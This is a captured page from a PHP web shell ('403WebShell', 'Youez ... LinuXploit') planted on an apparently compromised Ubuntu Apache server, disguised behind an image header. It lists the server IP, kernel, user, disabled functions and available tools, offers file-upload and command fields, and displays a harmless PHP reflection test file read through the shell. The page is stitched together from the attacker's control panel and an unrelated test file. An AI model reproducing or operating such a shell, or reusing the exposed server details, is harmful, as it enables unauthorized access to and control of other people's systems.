????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.216.45.231
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/reflection/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/reflection/tests/ReflectionMethod_getClosure_error.phpt
--TEST--
Test ReflectionMethod::getClosure() function : error functionality
--FILE--
<?php
/* Prototype  : public mixed ReflectionFunction::getClosure()
 * Description: Returns a dynamically created closure for the method
 * Source code: ext/reflection/php_reflection.c
 * Alias to functions:
 */

echo "*** Testing ReflectionMethod::getClosure() : error conditions ***\n";

class StaticExample
{
	static function foo()
	{
		var_dump( "Static Example class, Hello World!" );
	}
}

class Example
{
	public $bar = 42;
	public function foo()
	{
		var_dump( "Example class, bar: " . $this->bar );
	}
}

// Initialize classes
$class = new ReflectionClass( 'Example' );
$staticclass = new ReflectionClass( 'StaticExample' );
$method = $class->getMethod( 'foo' );
$staticmethod = $staticclass->getMethod( 'foo' );
$object = new Example();
$fakeobj = new StdClass();

echo "\n-- Testing ReflectionMethod::getClosure() function with more than expected no. of arguments --\n";
var_dump( $staticmethod->getClosure( 'foobar' ) );
var_dump( $staticmethod->getClosure( 'foo', 'bar' ) );
var_dump( $method->getClosure( $object, 'foobar' ) );

echo "\n-- Testing ReflectionMethod::getClosure() function with Zero arguments --\n";
$closure = $method->getClosure();

echo "\n-- Testing ReflectionMethod::getClosure() function with Zero arguments --\n";
try {
        var_dump( $method->getClosure( $fakeobj ) );
} catch( Exception $e ) {
        var_dump( $e->getMessage() );
}

?>
===DONE===
--EXPECTF--
*** Testing ReflectionMethod::getClosure() : error conditions ***

-- Testing ReflectionMethod::getClosure() function with more than expected no. of arguments --
object(Closure)#%d (0) {
}
object(Closure)#%d (0) {
}

Warning: ReflectionMethod::getClosure() expects exactly 1 parameter, 2 given in %s on line %d
NULL

-- Testing ReflectionMethod::getClosure() function with Zero arguments --

Warning: ReflectionMethod::getClosure() expects exactly 1 parameter, 0 given in %s on line %d

-- Testing ReflectionMethod::getClosure() function with Zero arguments --
string(72) "Given object is not an instance of the class this method was declared in"
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit